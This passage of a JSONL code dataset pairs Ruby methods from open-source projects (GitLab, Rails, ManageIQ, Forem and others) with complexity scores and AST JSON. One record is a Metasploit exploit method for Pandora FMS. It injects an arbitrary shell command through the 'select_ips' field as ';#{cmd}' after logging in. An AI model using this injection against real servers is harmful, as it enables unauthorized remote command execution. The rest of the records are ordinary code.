{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_ae_method.rb","start_line":129,"raw_source":"def self.copy(options)\n    if options[:new_name]\n      MiqAeMethodCopy.new(options[:fqname]).as(options[:new_name],\n                                               options[:namespace],\n                                               options[:overwrite_location]\n                                              )\n    else\n      MiqAeMethodCopy.copy_multiple(options[:ids],\n                                    options[:domain],\n                                    options[:namespace],\n                                    options[:overwrite_location]\n                                   )\n    end\n  end","complexity_score":16.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"copy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeMethodCopy\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"fqname\"]}]}]},\"as\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"overwrite_location\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqAeMethodCopy\"]},\"copy_multiple\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"overwrite_location\"]}]}]}]}]}","id":"b5b71236-1a02-42e3-812e-01d948e32cdb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/git/branch_hooks_service.rb","start_line":104,"raw_source":"def branch_remove_hooks\n      enqueue_jira_connect_remove_branches\n      project.repository.after_remove_branch(expire_cache: false)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"branch_remove_hooks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enqueue_jira_connect_remove_branches\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"after_remove_branch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expire_cache\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"1ab79291-e38f-495b-b10c-ff9d88570d6f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/custom_emoji_query_spec.rb","start_line":13,"raw_source":"def custom_emoji_query(group)\n      fields = all_graphql_fields_for('Group')\n      # TODO: Set required timelogs args elsewhere https://gitlab.com/gitlab-org/gitlab/-/issues/325499\n      fields.selection['timelogs(startDate: \"2021-03-01\" endDate: \"2021-03-30\")'] = fields.selection.delete('timelogs')\n\n      graphql_query_for(\n        'group',\n        { fullPath: group.full_path },\n        fields\n      )\n    end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_emoji_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[null,\"all_graphql_fields_for\",{\"type\":\"str\",\"children\":[\"Group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"selection\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"timelogs(startDate: \\\"2021-03-01\\\" endDate: \\\"2021-03-30\\\")\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fields\"]},\"selection\"]},\"delete\",{\"type\":\"str\",\"children\":[\"timelogs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"full_path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}]}","id":"ad28b0fa-f5e7-45ef-a91f-06e89d7d991a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/persistent_volume_claim.rb","start_line":15,"raw_source":"def storage_capacity\n    capacity[:storage]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"storage_capacity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capacity\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"storage\"]}]}]}","id":"879bd004-5652-47b3-835b-5a1b7aa2c598"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/appscan_document.rb","start_line":171,"raw_source":"def report_service_info\n      return unless(in_issue && has_text)\n      return unless @state[:web_site]\n      return unless @state[:response_headers]\n      banner = @state[:response_headers][\"server\"]\n      return unless banner\n      service = @state[:web_site].service\n      return unless service.info.to_s.empty?\n      service_info = {\n        :host => service.host,\n        :port => service.port,\n        :proto => service.proto,\n        :info => banner\n      }\n      db_report(:service, service_info)\n    end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"report_service_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_issue\"]},{\"type\":\"send\",\"children\":[null,\"has_text\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"web_site\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"response_headers\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"response_headers\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"service\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"web_site\"]}]},\"service\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"info\"]},\"to_s\"]},\"empty?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"service_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proto\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"proto\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"db_report\",{\"type\":\"sym\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"service_info\"]}]}]}]}","id":"45b204fe-e731-4a6d-a8c6-320f1fdb44aa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/releases_importer.rb","start_line":70,"raw_source":"def each_release\n          client.releases(project.import_source)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"each_release\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"releases\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_source\"]}]}]}","id":"5e646e65-7a78-48df-8b99-2d7b7adb3b55"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210511073505_add_index_on_articles_hotness_score_comments_count.rb","start_line":10,"raw_source":"def down\n    columns = %i[hotness_score comments_count]\n\n    remove_index :articles, column: columns, algorithm: :concurrently if index_exists?(:articles, columns)\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"hotness_score\"]},{\"type\":\"sym\",\"children\":[\"comments_count\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"index_exists?\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"articles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"lvar\",\"children\":[\"columns\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]}]}]},null]}]}]}","id":"a60f715f-6adc-4d5d-a907-8d94ec264e7e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_ping_cmd_exec.rb","start_line":120,"raw_source":"def execute_command(cmd, _opts = {})\n    print_status(\"Attempting to authenticate using (#{datastore['USERNAME']}:#{datastore['PASSWORD']})\")\n    auth = authenticate\n    unless auth\n      fail_with Failure::NoAccess, 'Please provide a valid username and password.'\n    end\n\n    id_agente = 1\n    while !session_created? && id_agente <= 10\n      send_request_cgi({\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri, 'index.php'),\n        'cookie' => @cookie,\n        'vars_get' => {\n          'sec' => 'estado',\n          'sec2' => 'operation/agentes/ver_agente',\n          'tab' => 'extension',\n          'id_agente' => id_agente.to_s,\n          'id_extension' => 'network_tools'\n        },\n        'vars_post' => {\n          'operation' => '2',\n          'select_ips' => \";#{cmd}\",\n          'community' => 'public',\n          'submit' => 'Execute'\n        }\n      })\n\n      id_agente += 1\n    end\n  end","complexity_score":27.15,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to authenticate using (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"auth\",{\"type\":\"send\",\"children\":[null,\"authenticate\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Please provide a valid username and password.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id_agente\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"while\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_created?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_agente\"]},\"<=\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"target_uri\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"ivar\",\"children\":[\"@cookie\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec\"]},{\"type\":\"str\",\"children\":[\"estado\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sec2\"]},{\"type\":\"str\",\"children\":[\"operation/agentes/ver_agente\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"tab\"]},{\"type\":\"str\",\"children\":[\"extension\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id_agente\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id_agente\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"id_extension\"]},{\"type\":\"str\",\"children\":[\"network_tools\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"operation\"]},{\"type\":\"str\",\"children\":[\"2\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"select_ips\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\";\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"community\"]},{\"type\":\"str\",\"children\":[\"public\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"submit\"]},{\"type\":\"str\",\"children\":[\"Execute\"]}]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id_agente\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}","id":"3f7e849c-f1ed-4c8e-a37c-1b6e13480639"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/presenters/spree/mega_nav_presenter.rb","start_line":39,"raw_source":"def to_link(object)\n      if object.is_a?(Spree::Taxon)\n        Spree::PageLink.new(\n          linkable: object,\n          label: object.name,\n          open_in_new_tab: false\n        )\n      else\n        object\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Taxon\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"PageLink\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linkable\"]},{\"type\":\"lvar\",\"children\":[\"object\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"open_in_new_tab\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}","id":"01a86480-9e0d-47dd-a684-0793bea62fab"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_participant_groups_summary.rb","start_line":22,"raw_source":"def group_ids\n    ids = topic.allowed_group_ids\n    ids = ids - [@group.id] if @group.present?\n    ids\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"group_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic\"]},\"allowed_group_ids\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ids\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group\"]},\"id\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"ids\"]}]}]}","id":"db63d2c3-4bfe-4a62-bd6d-69a09d372a3b"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/twitter_client/client.rb","start_line":21,"raw_source":"def request\n        Honeycomb.add_field(\"name\", \"twitter.client\")\n        yield\n      rescue Twitter::Error => e\n        record_error(e)\n        handle_error(e)\n      end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeycomb\"]},\"add_field\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"twitter.client\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Twitter\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"ac205a18-8716-4578-942f-d590a9116d4b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/notes/create/diff_note.rb","start_line":32,"raw_source":"def create_note_params(noteable, args)\n          super.merge({\n            type: 'DiffNote',\n            position: position(noteable, args),\n            merge_request_diff_head_sha: args[:position][:head_sha]\n          })\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"create_note_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"noteable\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"DiffNote\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[null,\"position\",{\"type\":\"lvar\",\"children\":[\"noteable\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_diff_head_sha\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"position\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"head_sha\"]}]}]}]}]}]}","id":"bd05727b-f141-443e-aaf4-b9da0822a149"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":701,"raw_source":"def test_count_arel_attribute_in_joined_table_with\n    assert_equal 5, Account.joins(:firm).count(Company.arel_table[:id])\n    assert_equal 4, Account.joins(:firm).distinct.count(Company.arel_table[:id])\n  end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_count_arel_attribute_in_joined_table_with\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"firm\"]}]},\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"firm\"]}]},\"distinct\"]},\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"0e2c5ff5-3129-4676-9664-d76cf8cc2924"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/report/result.rb","start_line":205,"raw_source":"def sort!(force = false)\n      return false if @sorted and not force\n\n      values.sort! { |a, b| compare a.key, b.key }\n      values.each { |e| e.sort! force }\n      @sorted = true\n    end","complexity_score":16.3,"ast_json":"{\"type\":\"def\",\"children\":[\"sort!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sorted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"force\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"sort!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]},{\"type\":\"arg\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"compare\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"b\"]},\"key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"sort!\",{\"type\":\"lvar\",\"children\":[\"force\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@sorted\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"42d03041-02e4-4054-a20a-3d331d3d9dc2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/active_model_helper_test.rb","start_line":145,"raw_source":"def test_collection_radio_buttons_with_errors\n    assert_dom_equal(\n      %(<input type=\"hidden\" name=\"post[category]\" value=\"\" autocomplete=\"off\" /><div class=\"field_with_errors\"><input type=\"radio\" value=\"ruby\" name=\"post[category]\" id=\"post_category_ruby\" /></div><label for=\"post_category_ruby\">ruby</label><div class=\"field_with_errors\"><input type=\"radio\" value=\"java\" name=\"post[category]\" id=\"post_category_java\" /></div><label for=\"post_category_java\">java</label>),\n      collection_radio_buttons(\"post\", \"category\", [:ruby, :java], :to_s, :to_s)\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_collection_radio_buttons_with_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input type=\\\"hidden\\\" name=\\\"post[category]\\\" value=\\\"\\\" autocomplete=\\\"off\\\" /><div class=\\\"field_with_errors\\\"><input type=\\\"radio\\\" value=\\\"ruby\\\" name=\\\"post[category]\\\" id=\\\"post_category_ruby\\\" /></div><label for=\\\"post_category_ruby\\\">ruby</label><div class=\\\"field_with_errors\\\"><input type=\\\"radio\\\" value=\\\"java\\\" name=\\\"post[category]\\\" id=\\\"post_category_java\\\" /></div><label for=\\\"post_category_java\\\">java</label>\"]},{\"type\":\"send\",\"children\":[null,\"collection_radio_buttons\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"ruby\"]},{\"type\":\"sym\",\"children\":[\"java\"]}]},{\"type\":\"sym\",\"children\":[\"to_s\"]},{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"3e88121c-27a9-4aa7-9476-8d91c0aa289f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/helm/extract_file_metadata_service.rb","start_line":30,"raw_source":"def metadata\n        YAML.safe_load(chart_yaml_content)\n      rescue Psych::Exception => e\n        raise ExtractionError, \"Error while parsing Chart.yaml: #{e.message}\"\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"safe_load\",{\"type\":\"send\",\"children\":[null,\"chart_yaml_content\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Psych\"]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ExtractionError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error while parsing Chart.yaml: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"a2c68029-ddab-43d4-b8cb-4c679f6a93f5"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/compat/output_chain.rb","start_line":49,"raw_source":"def next\n        if @array.length <= @offset\n          return @chain.next\n        end\n        @offset += 1\n        es = @array.length > @offset ? @es.dup : @es\n        @array[@offset-1].emit_events(@tag, es)\n        self.next\n      